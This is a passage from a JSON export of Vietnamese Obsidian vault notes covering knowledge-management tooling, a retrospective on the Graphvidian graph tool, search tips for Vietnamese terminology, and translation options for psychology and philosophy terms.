pháp kỹ thuật:: [[AutoHotKey]], [[CopyQ]], [[Terminal, shell, path, env]], [[App script]]\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-01T09:58:00.000Z", + "id": "UC" + }, + { + "Tiêu đề": "Chạy thống kê", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công nghệ/Xác định mẫu hình/Chạy thống kê", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Lĩnh vực:: [[Thống kê]]\nGiải pháp kỹ thuật:: [[Python]]\nGiải pháp kỹ thuật:: [[Jupyter]]\nGiải pháp kỹ thuật:: [[R]]", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-09-01T09:57:00.000Z", + "id": "UD" + }, + { + "Tiêu đề": "Nhìn tổng thể kế hoạch bằng đồ thị", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công nghệ/Xác định mẫu hình/Nhìn tổng thể kế hoạch bằng đồ thị", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "# Tôi học được gì sau khi viết Graphvidian?\nĐây là các mong muốn của tôi khi viết Graphvidian:\n\n| Mong muốn | Mức độ thỏa mãn và lý do |\n| ------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- |\n| Học các kỹ thuật lập trình | Hoàn toàn thỏa mãn |\n| Hiểu thêm về cộng đồng/hệ sinh thái lập trình viên | Hoàn toàn thỏa mãn |\n| Hiểu thêm về cộng đồng/hệ sinh thái Obsidian | Hoàn toàn thỏa mãn |\n| Tạo hình ảnh trong cộng đồng Obsidian VN | Tạm thỏa mãn. Biết là đã để lại ấn tượng với một số người, nhưng chưa thấy nhiều người nói về nó như mong muốn |\n| Thu hút người quan tâm đến QC | Tạm thỏa mãn. Những người có hứng thú với nó chưa tham gia sâu hơn vào QC, có lẽ vì họ còn nhiều việc khác phải làm. Có vài người còn bị dội bởi triết lý của QC |\n| Quản lý mục tiêu của QC tốt hơn graphview có sẵn của Obsidian | Không thực sự thỏa mãn. Chắc gọi là thất bại cũng được. Xem chi tiết ở dưới |\n| Giúp người khác trong việc quản lý | Không có dữ liệu để đánh giá |\n\n## Quản lý các thành quả mong muốn tốt hơn graphview\nChỉ thỏa mãn được lúc đầu thôi chứ sau đó không phát huy được hết tiềm năng của nó. \n\nĐầu tiên là vì không ai thực sự quan tâm sâu hơn, vì có lẽ rốt cuộc họ cũng không đủ hứng thú tới mục tiêu cụ thể tôi cần dùng đồ thị để nhìn này, hoặc tới chuyện có một hệ thống để nhìn thấy mọi thứ. Cái này chắc lại quay về vấn đề nhân sự: nhiều người chỉ đến đây vì thấy có những thứ thú vị, nhưng những thứ đó không phải là thứ để họ thấy mình cần theo đuổi. \n\nHơn nữa, chính bản thân tôi cũng không dùng nhiều, vì sau khi nó đã giải quyết được nhu cầu nhìn được toàn cảnh rồi thì khi tới giai đoạn tiến hành làm thì nó không giúp được gì. Giống như bạn có một chiếu xe bị hỏng một con ốc, và bạn phải xây ra cả một cái xưởng rèn chỉ để làm ra được con ốc đó. Nhưng lắp được nó vào rồi thì để cả cái xưởng đó bỏ hoang.\n\nCó lẽ để nó hữu ích hơn thì cần làm nó có thể tương tác được trên máy, ví dụ như việc gói lại/mở rộng các nút. Mà như vậy thì nên làm luôn bằng JS chứ không nên dùng GraphViz. Ngoài ra thì cũng cần thêm một bài phân tích chi tiết, chứ chỉ vẽ ra thôi thì chưa đủ. \n\nLúc đó có thử in ra giấy A3 nhưng chữ vẫn còn quá bé. Thứ chiếm nhiều diện tích nhất là cái khoảng không gian giữa các nút. Hình như thuật toán của GraphViz không cho tăng tỉ lệ `cỡ chữ:độ dài trung bình của các cạnh` thì phải. Chứ nếu làm được thì đã làm rồi. Chắc phải in ra giấy cỡ A0 mới nhìn được chữ. Mà cái này thì chắc làm workshop thì hợp.\n\nCuối cùng là lúc đó còn mù mờ về phát triển sản phẩm, hệ thống thông tin hay khoa học dữ liệu, nên lúc đó mới thấy cần làm cái này. Giờ biết rồi thì thấy có nhiều thứ cho tác động lớn hơn. Ví dụ như là thiết kế hệ thống để truy xuất dữ liệu.\n\n\n\ncho các trường hợp sử dụng của bạn?\nThường anh sẽ có 2 loại biểu đồ: sơ đồ các khái niệm (không phải concept map) và cái schema của nó. VD như hình 1 là cái sơ đồ các khái niệm anh export ra Graphviz. Cái chú thích hoặc hình 2 là schema của nó.\n\nLiệu lúc đó bạn sẽ làm sao?\nCố gắng ngồi xuống, bật máy và vẽ chúng ra, tìm các biểu tượng thích hợp để điền vào chỗ trống trong bức tranh hình dung ban đầu \nImage\nImage\nnhưng anh thấy vẽ đồ thị chỉ có tác dụng kích thích sự chú ý ban đầu, với nếu nó tạo ra được các cụm rõ ràng (community) thì hữu ích. Ví dụ như mấy cái hình ở đây. Còn ở những trường hợp khác thì tạo database rồi kiếm sẽ tốt hơn https://forum.obsidian.md/t/some-graphs-of-plugins-and-their-categories-in-obsidian-hub/87863?u=ooker", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-09-09T10:41:00.000Z", + "id": "UE" + }, + { + "Tiêu đề": "Tạo đồ thị mạng lưới", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công nghệ/Xác định mẫu hình/Tạo đồ thị mạng lưới", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Lĩnh vực:: [[Lý thuyết đồ thị]]\nGiải pháp kỹ thuật:: [[Graphviz, Neo4j, Cytoscape]], [[Obsidian]] ", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-01T09:57:00.000Z", + "id": "UF" + }, + { + "Tiêu đề": "Xác định các chủ đề có trong ngữ liệu", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công nghệ/Xác định mẫu hình/Xác định các chủ đề có trong ngữ liệu", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Lĩnh vực:: [[Xử lý ngôn ngữ tự nhiên (NLP)]], [[Nhân văn số|Các dự án, công cụ, tài nguyên cho nhân văn số]]\nGiải pháp kỹ thuật:: [[Python]]", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-01T10:00:00.000Z", + "id": "UG" + }, + { + "Tiêu đề": "Chia sẻ kho tri thức của mình cho mọi người", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Hợp tác/Chia sẻ kho tri thức của mình cho mọi người", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Lĩnh vực:: [[Hệ thống thông tin]]\nNhu cầu công nghệ:: [[Tạo web]]", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-01T10:10:00.000Z", + "id": "UH" + }, + { + "Tiêu đề": "Xây dựng mạng lưới đối tác, các bên liên quan", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Hợp tác/Xây dựng mạng lưới đối tác, các bên liên quan", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nhu cầu công nghệ:: [[Xây dựng hệ thống quản lý, báo cáo nhu cầu các bên]], [[Tạo đồ thị mạng lưới]]\nLĩnh vực:: [[Phát triển cộng đồng]]\n\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-01T08:30:00.000Z", + "id": "UI" + }, + { + "Tiêu đề": "Kinh nghiệm tìm thuật ngữ tiếng Việt", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Nghiên cứu/Dịch/Kinh nghiệm tìm thuật ngữ tiếng Việt", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Đặt mình vào tư thế của người thầy dạy sinh viên, của người có kiến thức nhưng chỉ tạm thời quên\n\n**Đừng mong tìm được thuật ngữ tiếng Việt nếu không có `filetype:pdf`** !!!\n\n[Từ điển Cồ Việt](http://tratu.coviet.vn/)\n\nVào Wikipedia tiếng Anh → qua Wiki tiếng Trung → [phiên âm sang từ Hán Việt](https://hvdic.thivien.net/transcript.php#trans)\n\nNhiều khi thấy Google Translate hay Bing Translate cũng nghĩ ra nhiều từ thú vị phết. Không hẳn là nó dịch đúng, nhưng vì nó ngu ngu nên khơi mở được nhiều cách tiếp cận mới.\n\nDự án dịch máy [tranonet](https://www.tranonet.com/) dành riêng cho tiếng Việt (theo quảng cáo là hơn cả Bing Translate, Google Translate trong việc dịch thuật ngữ chuyên ngành)\n\nNội dung\n\n- [Lục database](https://xn--qucu-hr5aza.cc/kinh-nghiem-google-thuat-ngu/#Luc_database \"Lục database\")\n- [Các từ khóa để thêm vào sau từ mình cần tìm](https://xn--qucu-hr5aza.cc/kinh-nghiem-google-thuat-ngu/#Cac_tu_khoa_de_them_vao_sau_tu_minh_can_tim \"Các từ khóa để thêm vào sau từ mình cần tìm\")\n - [Từ khóa chung](https://xn--qucu-hr5aza.cc/kinh-nghiem-google-thuat-ngu/#Tu_khoa_chung \"Từ khóa chung\")\n - [Từ khóa y học](https://xn--qucu-hr5aza.cc/kinh-nghiem-google-thuat-ngu/#Tu_khoa_y_hoc \"Từ khóa y học\")\n - [Từ khóa tâm lý](https://xn--qucu-hr5aza.cc/kinh-nghiem-google-thuat-ngu/#Tu_khoa_tam_ly \"Từ khóa tâm lý\")\n - [Từ khóa vệ tinh – vũ trụ](https://xn--qucu-hr5aza.cc/kinh-nghiem-google-thuat-ngu/#Tu_khoa_ve_tinh_%E2%80%93_vu_tru \"Từ khóa vệ tinh – vũ trụ\")\n - [AutoHotKey](https://xn--qucu-hr5aza.cc/kinh-nghiem-google-thuat-ngu/#AutoHotKey \"AutoHotKey\")\n\n## Lục database\n\n[Dataset Search](https://datasetsearch.research.google.com/)\n\n[Trung tâm Thông tin Tư liệu – Viện Hàn lâm Khoa học và Công nghệ Việt Nam](http://library.vast.vn/primo_library/libweb/action/dlDisplay.do?vid=84vast&docId=&fromSitemap=1&afterPDS=true)\n\n[Bộ sưu tập tài liệu tham khảo ảo – Thư viện trung tâm ĐHQG TP.HCM](http://www.vnulib.edu.vn/?p=1664)\n\n[Google Scholar](https://scholar.google.com/)\n\n-inurl:htm -inurl:html intitle:\"index of\" \"Last modified\" mp4 \"peppa pig\"\n\n:related :info $50..$100\n\nintext:keyword \n\nsite:[reddit.com/r/opendirectories/](https://www.reddit.com/r/opendirectories/)\n\n[List of academic databases and search engines – Wikipedia](https://en.wikipedia.org/wiki/List_of_academic_databases_and_search_engines)\n\n[http://www.powersearchingwithgoogle.com](http://www.powersearchingwithgoogle.com)\n\n[http://www.googleguide.com/advanced_operators_reference.html](http://www.googleguide.com/advanced_operators_reference.html)\n\n[Snoopsnoo](https://snoopsnoo.com/)\n\n## Các từ khóa để thêm vào sau từ mình cần tìm\n\n### Từ khóa chung\n\nchuyên ngành\n\nchương trình đào tạo\n\nĐại cương, khái luận\n\nLuận văn, luận án\n\nKỹ thuật (làm) pdf\n\nHướng dẫn sử dụng (hướng dẫn sử dụng của Toshiba hay có song ngữ dịch chuẩn)\n\nList/checklist/outline\n\n### Từ khóa y học\n\nCác bệnh viện lớn, bộ y tế, WHO\n\nDung nạp\n\n[dieutri.vn](http://dieutri.vn/)\n\n### Từ khóa tâm lý\n\n[https://trangtamly.blog/](https://trangtamly.blog/) (song ngữ)\n\n[tâm lý trị liệu | tủ sách tâm lý trị liệu](https://tamlytrilieu.wordpress.com/)\n\n### Từ khóa vệ tinh – vũ trụ\n\nTrung tâm vệ tinh quốc gia\n\nTrung tâm vũ trụ Việt Nam\n\nViện công nghệ vũ trụ: [http://www.sti.vast.ac.vn/](http://www.sti.vast.ac.vn/)\n\n[http://spaceprogram.vast.vn/ket-qua-san-pham/85-sach-giao-trinh.html](http://spaceprogram.vast.vn/ket-qua-san-pham/85-sach-giao-trinh.html)\n\nISS virtual tour: [http://esamultimedia.esa.int/multimedia/virtual-tour-iss/](http://esamultimedia.esa.int/multimedia/virtual-tour-iss/)\n\n### AutoHotKey\n```\n:*:pdff::filetype:pdf `{backspace}\n:*:indexx::intitle:\"index.of\" -inurl:(html|htm|php|asp|jsp) type:(pdf|epub|mob)\n```", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2024-08-02T09:21:00.000Z", + "Ngày cập nhật": "2024-08-02T09:24:00.000Z", + "id": "UJ" + }, + { + "Tiêu đề": "Phương án dịch một số từ", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Nghiên cứu/Dịch/Phương án dịch một số từ", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "> [!Info] Xem thêm: [Ý tưởng nền tảng dịch thuật ngữ](https://xn--qucu-hr5aza.cc/y-tuong-nen-tang-dich-thuat-ngu/?utm_source=CV+%C2%BB+Ph%C6%B0%C6%A1ng+%C3%A1n+d%E1%BB%8Bch+m%E1%BB%99t+s%E1%BB%91+t%E1%BB%AB&utm_medium=%C3%9D+t%C6%B0%E1%BB%9Fng+n%E1%BB%81n+t%E1%BA%A3ng+d%E1%BB%8Bch+thu%E1%BA%ADt+ng%E1%BB%AF&utm_campaign=Giai+%C4%91o%E1%BA%A1n+2)\n# Tâm lý học\n## Trigger \nKích hoạt, kích thích, bấm cò\n\n## Resilience \nĐộ lì, tính kiên cường, tính đàn hồi, sự dẻo dai, sức chống chịu, sức bền, sức bật tinh thần, khả năng hồi phục, khả năng vực dậy\n\n## Well-being \nVấn đề về dịch chữ well-being này lặp đi lặp lại nhiều tới mức em lưu hẳn các phương án dịch để mỗi khi ai nói tới em chỉ việc lôi ra copy:\nThoải mái, an ổn, an lạc, an yên, an khang, khỏe mạnh, sảng khoái, hạnh phúc, phúc lợi, phúc lạc, viên mãn, sống tốt, cuộc sống tốt, chất lượng sống tốt, ổn thỏa, hảo thể, hảo tồn\n- khỏe mạnh và hạnh phúc toàn diện, \n- khỏe về thể chất và tinh thần, \n- niềm vui, niềm hạnh phúc, sự hài lòng, sự bằng an, thư thái, sự hân hoan\n\nhttps://www.facebook.com/groups/342269513147697/permalink/640981609943151/\nhttps://www.facebook.com/giahoang.dl/posts/10223106402222016\nhttps://www.facebook.com/quangdong.ta/posts/pfbid07dgxaJAiqUh36gTUW5Qs7V3cr482knwMkZweVNm3yY2hpSgzPvXFoouZTKjFXocol\n\n## Pride \nTự ái, tự kiêu, tự tôn, tự hào, kiêu hãnh, cao ngạo\n\n## Wholesome \nĐầy đủ, toàn vẹn, trọn vẹn\n\n## Mindfulness \nChánh niệm, tỉnh thức\n\n# Tâm lý học nhận thức\n## Heuristic\nMẹo vặt, lối tắt, lối mòn kinh nghiệm dân gian\n\n## Schema\n\n## Analogy \nẨn dụ, hình ảnh so sánh, ví von\n\n\n# Triết học\n## Identity \ndanh tính, căn tính, bản sắc (trong tương quan đến cá nhân, dân tộc), bản dạng (trong tương quan đến giới), nhân dạng\n\n## Paternalism \nCác nét nghĩa:\n- (Rất thường có, nhưng có lúc không có) Can thiệp trái ý muốn của họ\n- Chăm lo cho sự khỏe mạnh và hạnh phúc toàn diện\n- Không giới hạn trong gia đình\n\nAnh cả luận, huynh trưởng luận\n\n## -ism \nTrường phái, chủ nghĩa, luận, thuyết, duy... luận, lối sống, vị (vị lai, vị nữ)\n\n## Negative/positive \n- âm/dương\n- phủ định/khẳng định\n- tiêu cực/tích cực\n- Thụ động/chủ động\n\n# Các từ khác\n## Insight\nCác nét nghĩa:\n- Khám phá mới mà trước đây không ai biết\n- Nhìn ra được cái cốt lõi\n- Kết quả sau khi đã được thử nghiệm\n- Giảm sự loay hoay cho người đi sau\n\nCái nhìn sâu sắc, cái nhìn thấu, hiểu biết sâu sắc, hiểu biết thấu suốt, nội thị, thấu thị, hiểu biết sâu\n## Navigate \nCác nét nghĩa:\n- Sự khám phá\n\nTìm tòi, khai phá, lèo lái, luồn lách, len lỏi\n\n## Fantasy \nHuyễn tưởng, huyền ảo, mộng tưởng\n\n## Marketing\nTiếp thị\n\n## Logistics \nVận trù\n\n## Unfold\n\n## Inclusive \nHiện diện đầy đủ\n\n## Super, hyper, ultra, mega\nSiêu, cực\n\nCó vẻ như trong tiếng Việt có ít từ chỉ sự vượt quá\n## Meta \nMeta\n\n## Philathrophy \nThiện nguyện, nhân ái, hiến tặng, phúc thiện\n[[Để dịch một khái niệm, hãy vét cạn các nét nghĩa, các cách dùng, các cách hiểu về nó, rồi tìm những từ chứa đựng được càng nhiều nét nghĩa càng tốt]]\n\nMình thấy kể cả khi nó có nghĩa ngầm trong đó rồi, thì việc hiển ngôn nó ra cũng rất quan trọng. Việc mọi người cảm thấy các phương án khác là không đủ để diễn tả hết nội hàm của nó là vì các phương án đó không làm cho mình cảm thấy các nét nghĩa của well-being được hiển ngôn đủ hết. Vậy thì chỉ có cách liệt kê hết tất cả các nét nghĩa của nó ra thì mới cảm thấy đầy đủ được.\n\n## Actionable\nBiết mình cần phải làm gì", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-08-02T09:28:00.000Z", + "id": "UK" + }, + { + "Tiêu đề": "Kinh nghiệm mua sách giấy", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Nghiên cứu/Kinh nghiệm mua sách giấy", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Có những cuốn ta quyết định không mua vì không thấy có ích trong việc gì hết. Nhưng lúc nhìn vào thì lại thấy là bổ sung cho một thứ mình cần phải có định mua.\n\nCác lý do không muốn mua sách:\n- Không có nhiều tiền\n- Không có thời gian\n\nCác lý do muốn mua sách giấy:\n- Cần được rút xuống ngay để tham khảo\n- Sau này sẽ ko còn bán\n\nCác lý do muốn đi nhà sách:\n- Khám phá\n- Nhìn vào những cuốn ko nghĩ ra là phải mua\n- Cảm xúc lúc đó\n\nNguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-01T08:32:00.000Z", + "id": "UL" + }, + { + "Tiêu đề": "Nghiên cứu cộng đồng mạng", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Nghiên cứu/Nghiên cứu cộng đồng mạng", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Lĩnh vực:: [[Nhân văn số]], [[Xử lý ngôn ngữ tự nhiên (NLP)]], \nNhu cầu công nghệ:: [[Xác định các chủ đề có trong ngữ liệu]], [[Cào web]]", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2024-02-27T08:29:00.000Z", + "Ngày cập nhật": "2024-07-16T16:27:00.000Z", + "id": "UM" + }, + { + "Tiêu đề": "Nghiên cứu", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Nghiên cứu", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "```dataview\nLIST\nFROM \"📜Tài nguyên/Nhu cầu công việc/Nghiên cứu\" \nWHERE file.name!=this.file.name\n```\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-07-01T09:13:00.000Z", + "Ngày cập nhật": "2024-07-17T17:10:00.000Z", + "id": "UN" + }, + { + "Tiêu đề": "Phân tích dữ liệu định lượng", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Nghiên cứu/Phân tích dữ liệu định lượng", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nhu cầu công nghệ:: [[Chạy thống kê]]\nGiải pháp kỹ thuật::", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-07-16T16:27:00.000Z", + "id": "UO" + }, + { + "Tiêu đề": "Phân tích dữ liệu định tính", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Nghiên cứu/Phân tích dữ liệu định tính", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Lĩnh vực:: [[Xử lý ngôn ngữ tự nhiên (NLP)]], [[Hệ thống thông tin]]\nNhu cầu công việc:: [[Xây dựng kho tri thức]]\nGiải pháp kỹ thuật::", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-01T10:10:00.000Z", + "id": "UP" + }, + { + "Tiêu đề": "Bản đồ lập luận", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Nghiên cứu/Quản lý kiến thức và lập luận/Bản đồ lập luận", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "# Kialo\r\nKialo cuts through the noise typically associated with social and online media, making it easy to engage in focused discussion.\r\n![Kialo - YouTube](https://youtu.be/MifNyU49_JA)\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-06-21T04:56:00.000Z", + "Ngày cập nhật": "2024-07-16T16:27:00.000Z", + "id": "UQ" + }, + { + "Tiêu đề": "Khai thác một từ khoá", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Nghiên cứu/Quản lý kiến thức và lập luận/Khai thác một từ khoá", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "## Phân Tích Ngôn Ngữ (Linguistic Analysis)\n- Từ điển định nghĩa (dictionary definition) từ này như thế nào?\n- Các từ đồng nghĩa (synonyms) của từ này là gì?\n- Các từ trái nghĩa (antonyms) của từ này là gì?\n- Các từ liên quan (associated words) đến khái niệm này là gì?\n- Các nghĩa khác (other meanings) của khái niệm hoặc từ này là gì?\n- Làm thế nào để hình dung khái niệm này một cách trực quan (visually represent)?\n\n## Cấu Trúc (Framework)\n- Khái niệm này thuộc về khái niệm cấp cao hơn (superordinate concept) nào?\n- Các khái niệm cấp dưới (subordinate concepts) nào nằm trong khái niệm này?\n- Các khái niệm tương đương (coordinate concepts) với khái niệm này là gì?\n- Các khái niệm đối lập hoàn toàn (diametrically opposed concepts) với khái niệm này là gì?\n- Khái niệm này liên quan đến khái niệm đang trao đổi ở điểm nào?\n- Khái niệm này khác với khái niệm đang trao đổi ở điểm nào?\n\n## Thuộc Tính (Attributes)\n- Các thuộc tính cốt lõi (critical attributes) của khái niệm này là gì?\n- Các thuộc tính biến đổi (variable attributes) của khái niệm này là gì?\n- Những đặc điểm lý tưởng (desirable attributes) nào mà khái niệm này nên có?\n\n## Ví Dụ (Examples)\n- Ví dụ điển hình của khái niệm (prototype example) này là gì?\n- Những thuộc tính nào (attributes) xuất hiện trong ví dụ này?\n- Người mới bắt học (novice) sẽ thấy những thuộc tính nào trong ví dụ này?\n- Các ví dụ nhập nhằng (borderline examples) của khái niệm này là gì?\n- Cần thay đổi gì trong ví dụ nhập nhằng (borderline example) để nó trở thành ví dụ điển hình (prototype example)?\n- Các phản ví dụ (non-example) của khái niệm này là gì?\n\n## Con Người (Peoples)\n- Ai là người phát triển hoặc khám phá khái niệm này đầu tiên?\n- Những người nổi bật nào đã đóng góp vào sự phát triển của khái niệm này?\n- Ai là người chịu ảnh hưởng trực tiếp hoặc hưởng lợi từ khái niệm này?\n- Những nhóm người nào có thể phản đối hoặc không đồng ý với khái niệm này?\n- Các nhà nghiên cứu hoặc chuyên gia nào đang nghiên cứu khái niệm này?\n\n## Ứng Dụng Thực Tiễn (Practical Applications)\n- Khái niệm này được áp dụng như thế nào trong thực tế?\n- Các ngành nghề nào sử dụng khái niệm này?\n- Các công cụ hoặc phương pháp nào hỗ trợ việc sử dụng khái niệm này?\n- Công nghệ mới nào có thể ảnh hưởng đến khái niệm này?\n- Khái niệm này sẽ tác động như thế nào đến xã hội và cuộc sống con người trong tương lai?\n\n## Lịch Sử và Bối Cảnh (History and Context) \n- Nguồn gốc của khái niệm này là gì?\n- Khái niệm này đã thay đổi như thế nào qua thời gian?\n- Các yếu tố lịch sử hoặc xã hội nào ảnh hưởng đến sự phát triển của khái niệm này ?\n- Khái niệm này có ý nghĩa gì trong các nền văn hóa khác nhau?\n- Các yếu tố địa lý nào ảnh hưởng đến khái niệm này?\n- Khái niệm này có biến đổi như thế nào ở các vùng miền khác nhau?\n\n## Quan Điểm và Tranh Luận (Perspectives and Debates)\n- Những người khác nhau sẽ định nghĩa khái niệm này khác nhau như thế nào?\n- Khái niệm này gợi lên cảm xúc gì ở những người khác nhau?\n- Có những quan điểm khác nhau nào về khái niệm này?\n- Các tranh luận chính liên quan đến khái niệm này là gì?\n- Những nghiên cứu hoặc lý thuyết nào đã kiểm chứng hoặc phản đối khái niệm này?\n\nNguồn:: ![[Khai thác một từ khoá.pdf]]\n\n![Connect Ideas with The Idea Compass and Visualize Connections with ExcaliBrain - YouTube](https://www.youtube.com/watch?v=7rnsULzez-g)", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2024-08-02T10:03:00.000Z", + "Ngày cập nhật": "2024-08-08T06:36:00.000Z", + "id": "UR" + }, + { + "Tiêu đề": "Quản lý kiến thức cá nhân", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Nghiên cứu/Quản lý kiến thức và lập luận/Quản lý kiến thức cá nhân", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "# [Tổng hợp tất cả các app có đồ thị](https://www.notion.so/My-2d-Brain-Networked-Notebook-App-a131b468fc6f43218fb8105430304709)\n![](https://i.imgur.com/WC5RElN.png)\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-05-30T07:31:00.000Z", + "Ngày cập nhật": "2024-07-16T16:27:00.000Z", + "id": "US" + }, + { + "Tiêu đề": "Tổng quan tài liệu", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Nghiên cứu/Quản lý kiến thức và lập luận/Tổng quan tài liệu", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "# [Ought](https://ought.org/)\r\nAutomate and scale open-ended reasoning, so that future improvements in ML help as much with thinking and reflection as they do with tasks that have clear short-term outcomes.\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-07-16T16:27:00.000Z", + "id": "UT" + }, + { + "Tiêu đề": "Nghiên cứu người dùng, phát triển sản phẩm", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Nghiên cứu/Thu thập dữ liệu/Nghiên cứu người dùng, phát triển sản phẩm", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nhu cầu công nghệ:: [[Tạo liên kết UTM rút gọn nhanh chóng]], [[Hệ thống quản lý kiến thức]], [[Xây dựng hệ thống quản lý, báo cáo nhu cầu các bên]]\nLĩnh vực:: [[Tiếp thị số]], [[Hệ thống thông tin]]\n\nXem thêm:: [[Phát triển 